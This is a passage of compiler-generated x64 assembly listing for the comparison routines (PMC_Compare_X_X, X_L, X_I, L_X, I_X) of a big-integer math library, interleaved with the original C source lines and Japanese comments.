DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Compare_L_X DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Compare_I_X DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_X_L_Imp
_TEXT SEGMENT
u$ = 8
v$ = 16
w$ = 24
PMC_Compare_X_L_Imp PROC ; COMDAT
; 152 : if (u->IS_ZERO)
test BYTE PTR [rcx+40], 2
mov r9, rcx
je SHORT $LN2@PMC_Compar
; 153 : {
; 154 : // u が 0 である場合
; 155 : if (v == 0)
; 156 : {
; 157 : // v が 0 である場合
; 158 : *w = 0;
; 159 : }
; 160 : else
; 161 : {
; 162 : // v が 0 でない場合
; 163 : *w = -1;
; 164 : }
; 165 : }
neg rdx
$LN36@PMC_Compar:
; 258 : *w = 1;
; 259 : else if (u->BLOCK[0] < v)
; 260 : *w = -1;
; 261 : else
; 262 : *w = 0;
; 263 : }
; 264 : }
; 265 : }
; 266 : }
sbb eax, eax
mov DWORD PTR [r8], eax
ret 0
$LN2@PMC_Compar:
; 166 : else if (v == 0)
test rdx, rdx
je SHORT $LN52@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 644 : _BitScanReverse64(&pos, x);
bsr rax, rdx
; 645 : #elif defined(__GNUC__)
; 646 : _UINT64_T pos;
; 647 : __asm__("bsrq %1, %0" : "=r"(pos) : "rm"(x));
; 648 : #else
; 649 : #error unknown compiler
; 650 : #endif
; 651 : #else
; 652 : #error unknown platform
; 653 : #endif
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 63 ; 0000003fH
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 242 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_UNIT((__UNIT_TYPE)v);
movsxd rax, ecx
mov ecx, 64 ; 00000040H
sub rcx, rax
; 243 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [r9+16], rcx
ja SHORT $LN52@PMC_Compar
; 244 : {
; 245 : // 明らかに u > v である場合
; 246 : *w = 1;
; 247 : }
; 248 : else if (u_bit_count < v_bit_count)
jae SHORT $LN34@PMC_Compar
; 258 : *w = 1;
; 259 : else if (u->BLOCK[0] < v)
; 260 : *w = -1;
; 261 : else
; 262 : *w = 0;
; 263 : }
; 264 : }
; 265 : }
; 266 : }
mov DWORD PTR [r8], -1
ret 0
$LN34@PMC_Compar:
; 249 : {
; 250 : // 明らかに u < v である場合
; 251 : *w = -1;
; 252 : }
; 253 : else
; 254 : {
; 255 : // u > 0 && v > 0 かつ u のビット長と v のビット長が等しく、かつ v が 1 ワードで表現できる場合
; 256 : // ⇒ u と v はともに 1 ワードで表現できる
; 257 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [r9+56]
cmp QWORD PTR [rax], rdx
jbe SHORT $LN36@PMC_Compar
$LN52@PMC_Compar:
; 258 : *w = 1;
; 259 : else if (u->BLOCK[0] < v)
; 260 : *w = -1;
; 261 : else
; 262 : *w = 0;
; 263 : }
; 264 : }
; 265 : }
; 266 : }
mov DWORD PTR [r8], 1
ret 0
PMC_Compare_X_L_Imp ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_X_I_Imp
_TEXT SEGMENT
u$ = 8
v$ = 16
w$ = 24
PMC_Compare_X_I_Imp PROC ; COMDAT
; 62 : if (u->IS_ZERO)
test BYTE PTR [rcx+40], 2
mov r9, rcx
je SHORT $LN2@PMC_Compar
; 63 : {
; 64 : // u が 0 である場合
; 65 : if (v == 0)
; 66 : {
; 67 : // v が 0 である場合
; 68 : *w = 0;
; 69 : }
; 70 : else
; 71 : {
; 72 : // v が 0 でない場合
; 73 : *w = -1;
; 74 : }
; 75 : }
neg edx
$LN12@PMC_Compar:
; 101 : *w = 1;
; 102 : else if (u->BLOCK[0] < v)
; 103 : *w = -1;
; 104 : else
; 105 : *w = 0;
; 106 : }
; 107 : }
; 108 : }
sbb eax, eax
mov DWORD PTR [r8], eax
ret 0
$LN2@PMC_Compar:
; 76 : else if (v == 0)
test edx, edx
je SHORT $LN20@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 601 : _BitScanReverse(&pos, x);
bsr eax, edx
; 602 : #elif defined(__GNUC__)
; 603 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 604 : #else
; 605 : #error unknown compiler
; 606 : #endif
; 607 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 31
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 85 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_32(v);
movsxd rax, ecx
mov ecx, 32 ; 00000020H
sub rcx, rax
; 86 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [r9+16], rcx
ja SHORT $LN20@PMC_Compar
; 87 : {
; 88 : // 明らかに u > v である場合
; 89 : *w = 1;
; 90 : }
; 91 : else if (u_bit_count < v_bit_count)
jae SHORT $LN10@PMC_Compar
; 101 : *w = 1;
; 102 : else if (u->BLOCK[0] < v)
; 103 : *w = -1;
; 104 : else
; 105 : *w = 0;
; 106 : }
; 107 : }
; 108 : }
mov DWORD PTR [r8], -1
ret 0
$LN10@PMC_Compar:
; 92 : {
; 93 : // 明らかに u < v である場合
; 94 : *w = -1;
; 95 : }
; 96 : else
; 97 : {
; 98 : // u > 0 && v > 0 かつ u のビット長と v のビット長が等しい場合
; 99 : // ⇒ u と v はともに 1 ワードで表現できる
; 100 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [r9+56]
mov ecx, edx
cmp QWORD PTR [rax], rcx
jbe SHORT $LN12@PMC_Compar
$LN20@PMC_Compar:
; 101 : *w = 1;
; 102 : else if (u->BLOCK[0] < v)
; 103 : *w = -1;
; 104 : else
; 105 : *w = 0;
; 106 : }
; 107 : }
; 108 : }
mov DWORD PTR [r8], 1
ret 0
PMC_Compare_X_I_Imp ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _LZCNT_ALT_UNIT
_TEXT SEGMENT
x$ = 8
_LZCNT_ALT_UNIT PROC ; COMDAT
; 630 : if (x == 0)
test rcx, rcx
jne SHORT $LN2@LZCNT_ALT_
; 631 : return (sizeof(x) * 8);
mov eax, 64 ; 00000040H
; 655 : }
ret 0
$LN2@LZCNT_ALT_:
; 632 : #ifdef _M_IX86
; 633 : _UINT32_T pos;
; 634 : #ifdef _MSC_VER
; 635 : _BitScanReverse(&pos, x);
; 636 : #elif defined(__GNUC__)
; 637 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 638 : #else
; 639 : #error unknown compiler
; 640 : #endif
; 641 : #elif defined(_M_X64)
; 642 : #ifdef _MSC_VER
; 643 : _UINT32_T pos;
; 644 : _BitScanReverse64(&pos, x);
bsr rcx, rcx
; 645 : #elif defined(__GNUC__)
; 646 : _UINT64_T pos;
; 647 : __asm__("bsrq %1, %0" : "=r"(pos) : "rm"(x));
; 648 : #else
; 649 : #error unknown compiler
; 650 : #endif
; 651 : #else
; 652 : #error unknown platform
; 653 : #endif
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov eax, 63 ; 0000003fH
sub eax, ecx
; 655 : }
ret 0
_LZCNT_ALT_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _LZCNT_ALT_32
_TEXT SEGMENT
x$ = 8
_LZCNT_ALT_32 PROC ; COMDAT
; 597 : if (x == 0)
test ecx, ecx
jne SHORT $LN2@LZCNT_ALT_
; 598 : return (sizeof(x) * 8);
mov eax, 32 ; 00000020H
; 608 : }
ret 0
$LN2@LZCNT_ALT_:
; 599 : _UINT32_T pos;
; 600 : #ifdef _MSC_VER
; 601 : _BitScanReverse(&pos, x);
bsr ecx, ecx
; 602 : #elif defined(__GNUC__)
; 603 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 604 : #else
; 605 : #error unknown compiler
; 606 : #endif
; 607 : return (sizeof(x) * 8 - 1 - pos);
mov eax, 31
sub eax, ecx
; 608 : }
ret 0
_LZCNT_ALT_32 ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _FROMDWORDTOWORD
_TEXT SEGMENT
value$ = 8
result_high$ = 16
_FROMDWORDTOWORD PROC ; COMDAT
; 183 : *result_high = (_UINT32_T)(value >> 32);
mov rax, rcx
shr rax, 32 ; 00000020H
mov DWORD PTR [rdx], eax
; 184 : return ((_UINT32_T)value);
mov eax, ecx
; 185 : }
ret 0
_FROMDWORDTOWORD ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_X_X
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Compare_X_X PROC ; COMDAT
; 309 : {
$LN31:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
; 310 : if (u == NULL)
test rcx, rcx
je $LN29@PMC_Compar
; 311 : return (PMC_STATUS_ARGUMENT_ERROR);
; 312 : if (v == NULL)
test rdx, rdx
je $LN29@PMC_Compar
; 313 : return (PMC_STATUS_ARGUMENT_ERROR);
; 314 : if (w == NULL)
test r8, r8
je $LN29@PMC_Compar
; 316 : NUMBER_HEADER* nu = (NUMBER_HEADER*)u;
; 317 : NUMBER_HEADER* nv = (NUMBER_HEADER*)v;
; 318 : PMC_STATUS_CODE result;
; 319 : if ((result = CheckNumber(nu)) != PMC_STATUS_OK)
call CheckNumber
test eax, eax
jne $LN1@PMC_Compar
; 320 : return (result);
; 321 : if ((result = CheckNumber(nv)) != PMC_STATUS_OK)
mov rcx, rdi
call CheckNumber
test eax, eax
jne $LN1@PMC_Compar
; 322 : return (result);
; 323 : if (nu->IS_ZERO)
mov eax, DWORD PTR [rdi+40]
and eax, 2
test BYTE PTR [rbx+40], 2
je SHORT $LN7@PMC_Compar
; 324 : {
; 325 : *w = nv->IS_ZERO ? 0 : -1;
neg eax
sbb eax, eax
neg eax
dec eax
; 349 : }
; 350 : }
; 351 : return (PMC_STATUS_OK);
mov DWORD PTR [rsi], eax
xor eax, eax
; 352 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN7@PMC_Compar:
; 326 : }
; 327 : else if (nv->IS_ZERO)
test eax, eax
jne SHORT $LN25@PMC_Compar
; 328 : {
; 329 : *w = 1;
; 330 : }
; 331 : else
; 332 : {
; 333 : __UNIT_TYPE u_bit_count = nu->UNIT_BIT_COUNT;
mov rax, QWORD PTR [rbx+16]
; 334 : __UNIT_TYPE v_bit_count = nv->UNIT_BIT_COUNT;
; 335 : if (u_bit_count > v_bit_count)
cmp rax, QWORD PTR [rdi+16]
ja SHORT $LN25@PMC_Compar
; 336 : {
; 337 : // 明らかに u > v である場合
; 338 : *w = 1;
; 339 : }
; 340 : else if (u_bit_count < v_bit_count)
jb SHORT $LN26@PMC_Compar
; 341 : {
; 342 : // 明らかに u < v である場合
; 343 : *w = -1;
; 344 : }
; 345 : else
; 346 : {
; 347 : // u > 0 && v > 0 かつ u のビット長と v のビット長が等しい場合
; 348 : *w = Compare_Imp(nu->BLOCK, nv->BLOCK, nu->UNIT_WORD_COUNT);
mov rcx, QWORD PTR [rbx+8]
; 40 : u += count;
mov rax, QWORD PTR [rbx+56]
lea r8, QWORD PTR [rax+rcx*8]
; 41 : v += count;
mov rax, QWORD PTR [rdi+56]
lea r9, QWORD PTR [rax+rcx*8]
; 42 : while (count > 0)
test rcx, rcx
je SHORT $LN18@PMC_Compar
$LL17@PMC_Compar:
; 43 : {
; 44 : --u;
; 45 : --v;
; 46 : --count;
; 47 :
; 48 : if (*u > *v)
mov rax, QWORD PTR [r8-8]
lea r8, QWORD PTR [r8-8]
lea r9, QWORD PTR [r9-8]
dec rcx
cmp rax, QWORD PTR [r9]
ja SHORT $LN25@PMC_Compar
; 49 : return (1);
; 50 : else if (*u < *v)
jb SHORT $LN26@PMC_Compar
; 42 : while (count > 0)
test rcx, rcx
jne SHORT $LL17@PMC_Compar
$LN18@PMC_Compar:
; 51 : return (-1);
; 52 : else
; 53 : {
; 54 : }
; 55 : }
; 56 : return (0);
xor eax, eax
$LN16@PMC_Compar:
; 349 : }
; 350 : }
; 351 : return (PMC_STATUS_OK);
mov DWORD PTR [rsi], eax
xor eax, eax
; 352 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN26@PMC_Compar:
; 349 : }
; 350 : }
; 351 : return (PMC_STATUS_OK);
mov eax, -1
jmp SHORT $LN16@PMC_Compar
$LN25@PMC_Compar:
mov eax, 1
jmp SHORT $LN16@PMC_Compar
$LN29@PMC_Compar:
; 315 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Compar:
; 352 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Compare_X_X ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_X_L
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Compare_X_L PROC ; COMDAT
; 289 : {
$LN61:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
; 290 : if (__UNIT_TYPE_BIT_COUNT * 2 < sizeof(v) * 8)
; 291 : {
; 292 : // _UINT64_T が 2 ワードで表現しきれない処理系には対応しない
; 293 : return (PMC_STATUS_INTERNAL_ERROR);
; 294 : }
; 295 : if (u == NULL)
test rcx, rcx
je SHORT $LN58@PMC_Compar
; 296 : return (PMC_STATUS_ARGUMENT_ERROR);
; 297 : if (w == NULL)
test r8, r8
je SHORT $LN58@PMC_Compar
; 299 : PMC_STATUS_CODE result;
; 300 : if ((result = CheckNumber((NUMBER_HEADER*)u)) != PMC_STATUS_OK)
call CheckNumber
test eax, eax
jne SHORT $LN1@PMC_Compar
; 152 : if (u->IS_ZERO)
test BYTE PTR [rdi+40], 2
je SHORT $LN8@PMC_Compar
; 153 : {
; 154 : // u が 0 である場合
; 155 : if (v == 0)
neg rbx
$LN42@PMC_Compar:
; 301 : return (result);
; 302 : _INT32_T w_temp;
; 303 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)u, v, &w_temp);
; 304 : *w = w_temp;
sbb eax, eax
$LN44@PMC_Compar:
mov DWORD PTR [rsi], eax
; 305 : return (PMC_STATUS_OK);
xor eax, eax
; 306 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN8@PMC_Compar:
; 166 : else if (v == 0)
test rbx, rbx
je SHORT $LN59@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 644 : _BitScanReverse64(&pos, x);
bsr rax, rbx
; 645 : #elif defined(__GNUC__)
; 646 : _UINT64_T pos;
; 647 : __asm__("bsrq %1, %0" : "=r"(pos) : "rm"(x));
; 648 : #else
; 649 : #error unknown compiler
; 650 : #endif
; 651 : #else
; 652 : #error unknown platform
; 653 : #endif
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 63 ; 0000003fH
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 242 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_UNIT((__UNIT_TYPE)v);
movsxd rax, ecx
mov ecx, 64 ; 00000040H
sub rcx, rax
; 243 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [rdi+16], rcx
ja SHORT $LN59@PMC_Compar
; 244 : {
; 245 : // 明らかに u > v である場合
; 246 : *w = 1;
; 247 : }
; 248 : else if (u_bit_count < v_bit_count)
jae SHORT $LN40@PMC_Compar
; 249 : {
; 250 : // 明らかに u < v である場合
; 251 : *w = -1;
mov eax, -1
; 252 : }
jmp SHORT $LN44@PMC_Compar
$LN40@PMC_Compar:
; 253 : else
; 254 : {
; 255 : // u > 0 && v > 0 かつ u のビット長と v のビット長が等しく、かつ v が 1 ワードで表現できる場合
; 256 : // ⇒ u と v はともに 1 ワードで表現できる
; 257 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [rdi+56]
cmp QWORD PTR [rax], rbx
jbe SHORT $LN42@PMC_Compar
$LN59@PMC_Compar:
; 301 : return (result);
; 302 : _INT32_T w_temp;
; 303 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)u, v, &w_temp);
; 304 : *w = w_temp;
mov eax, 1
jmp SHORT $LN44@PMC_Compar
$LN58@PMC_Compar:
; 298 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Compar:
; 306 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Compare_X_L ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_X_I
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Compare_X_I PROC ; COMDAT
; 131 : {
$LN29:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov ebx, edx
mov rsi, r8
mov rdi, rcx
; 132 : if (__UNIT_TYPE_BIT_COUNT < sizeof(v) * 8)
; 133 : {
; 134 : // _UINT32_T が 1 ワードで表現しきれない処理系には対応しない
; 135 : return (PMC_STATUS_INTERNAL_ERROR);
; 136 : }
; 137 : if (u == NULL)
test rcx, rcx
je SHORT $LN26@PMC_Compar
; 138 : return (PMC_STATUS_ARGUMENT_ERROR);
; 139 : if (w == NULL)
test r8, r8
je SHORT $LN26@PMC_Compar
; 141 : PMC_STATUS_CODE result;
; 142 : if ((result = CheckNumber((NUMBER_HEADER*)u)) != PMC_STATUS_OK)
call CheckNumber
test eax, eax
jne SHORT $LN1@PMC_Compar
; 62 : if (u->IS_ZERO)
test BYTE PTR [rdi+40], 2
je SHORT $LN8@PMC_Compar
; 63 : {
; 64 : // u が 0 である場合
; 65 : if (v == 0)
; 66 : {
; 67 : // v が 0 である場合
; 68 : *w = 0;
; 69 : }
; 70 : else
; 71 : {
; 72 : // v が 0 でない場合
; 73 : *w = -1;
; 74 : }
; 75 : }
neg ebx
$LN18@PMC_Compar:
; 143 : return (result);
; 144 : _INT32_T w_temp;
; 145 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)u, v, &w_temp);
; 146 : *w = w_temp;
sbb eax, eax
$LN20@PMC_Compar:
mov DWORD PTR [rsi], eax
; 147 : return (PMC_STATUS_OK);
xor eax, eax
; 148 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN8@PMC_Compar:
; 76 : else if (v == 0)
test ebx, ebx
je SHORT $LN27@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 601 : _BitScanReverse(&pos, x);
bsr eax, ebx
; 602 : #elif defined(__GNUC__)
; 603 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 604 : #else
; 605 : #error unknown compiler
; 606 : #endif
; 607 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 31
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 85 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_32(v);
movsxd rax, ecx
mov ecx, 32 ; 00000020H
sub rcx, rax
; 86 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [rdi+16], rcx
ja SHORT $LN27@PMC_Compar
; 87 : {
; 88 : // 明らかに u > v である場合
; 89 : *w = 1;
; 90 : }
; 91 : else if (u_bit_count < v_bit_count)
jae SHORT $LN16@PMC_Compar
; 92 : {
; 93 : // 明らかに u < v である場合
; 94 : *w = -1;
mov eax, -1
; 95 : }
jmp SHORT $LN20@PMC_Compar
$LN16@PMC_Compar:
; 96 : else
; 97 : {
; 98 : // u > 0 && v > 0 かつ u のビット長と v のビット長が等しい場合
; 99 : // ⇒ u と v はともに 1 ワードで表現できる
; 100 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [rdi+56]
cmp QWORD PTR [rax], rbx
jbe SHORT $LN18@PMC_Compar
$LN27@PMC_Compar:
; 143 : return (result);
; 144 : _INT32_T w_temp;
; 145 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)u, v, &w_temp);
; 146 : *w = w_temp;
mov eax, 1
jmp SHORT $LN20@PMC_Compar
$LN26@PMC_Compar:
; 140 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Compar:
; 148 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Compare_X_I ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_L_X
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Compare_L_X PROC ; COMDAT
; 269 : {
$LN61:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
; 270 : if (__UNIT_TYPE_BIT_COUNT * 2 < sizeof(u) * 8)
; 271 : {
; 272 : // _UINT64_T が 2 ワードで表現しきれない処理系には対応しない
; 273 : return (PMC_STATUS_INTERNAL_ERROR);
; 274 : }
; 275 : if (v == NULL)
test rdx, rdx
je $LN58@PMC_Compar
; 276 : return (PMC_STATUS_ARGUMENT_ERROR);
; 277 : if (w == NULL)
test r8, r8
je $LN58@PMC_Compar
; 279 : PMC_STATUS_CODE result;
; 280 : if ((result = CheckNumber((NUMBER_HEADER*)v)) != PMC_STATUS_OK)
mov rcx, rdx
call CheckNumber
test eax, eax
jne $LN1@PMC_Compar
; 152 : if (u->IS_ZERO)
test BYTE PTR [rdi+40], 2
je SHORT $LN8@PMC_Compar
; 153 : {
; 154 : // u が 0 である場合
; 155 : if (v == 0)
test rbx, rbx
setne al
; 281 : return (result);
; 282 : _INT32_T w_temp;
; 283 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 284 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 285 : return (PMC_STATUS_OK);
xor eax, eax
; 286 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN8@PMC_Compar:
; 166 : else if (v == 0)
test rbx, rbx
je SHORT $LN59@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 644 : _BitScanReverse64(&pos, x);
bsr rax, rbx
; 645 : #elif defined(__GNUC__)
; 646 : _UINT64_T pos;
; 647 : __asm__("bsrq %1, %0" : "=r"(pos) : "rm"(x));
; 648 : #else
; 649 : #error unknown compiler
; 650 : #endif
; 651 : #else
; 652 : #error unknown platform
; 653 : #endif
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 63 ; 0000003fH
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 242 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_UNIT((__UNIT_TYPE)v);
movsxd rax, ecx
mov ecx, 64 ; 00000040H
sub rcx, rax
; 243 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [rdi+16], rcx
ja SHORT $LN59@PMC_Compar
; 244 : {
; 245 : // 明らかに u > v である場合
; 246 : *w = 1;
; 247 : }
; 248 : else if (u_bit_count < v_bit_count)
jae SHORT $LN40@PMC_Compar
; 249 : {
; 250 : // 明らかに u < v である場合
; 251 : *w = -1;
mov eax, 1
; 281 : return (result);
; 282 : _INT32_T w_temp;
; 283 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 284 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 285 : return (PMC_STATUS_OK);
xor eax, eax
; 286 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN40@PMC_Compar:
; 257 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [rdi+56]
mov rcx, QWORD PTR [rax]
cmp rcx, rbx
jbe SHORT $LN42@PMC_Compar
$LN59@PMC_Compar:
; 281 : return (result);
; 282 : _INT32_T w_temp;
; 283 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 284 : *w = -w_temp;
mov eax, -1
mov DWORD PTR [rsi], eax
; 285 : return (PMC_STATUS_OK);
xor eax, eax
; 286 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN42@PMC_Compar:
; 259 : else if (u->BLOCK[0] < v)
xor eax, eax
cmp rcx, rbx
setb al
; 281 : return (result);
; 282 : _INT32_T w_temp;
; 283 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 284 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 285 : return (PMC_STATUS_OK);
xor eax, eax
; 286 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN58@PMC_Compar:
; 278 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Compar:
; 286 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Compare_L_X ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_I_X
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Compare_I_X PROC ; COMDAT
; 111 : {
$LN29:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov edi, ecx
mov rsi, r8
mov rbx, rdx
; 112 : if (__UNIT_TYPE_BIT_COUNT < sizeof(u) * 8)
; 113 : {
; 114 : // _UINT32_T が 1 ワードで表現しきれない処理系には対応しない
; 115 : return (PMC_STATUS_INTERNAL_ERROR);
; 116 : }
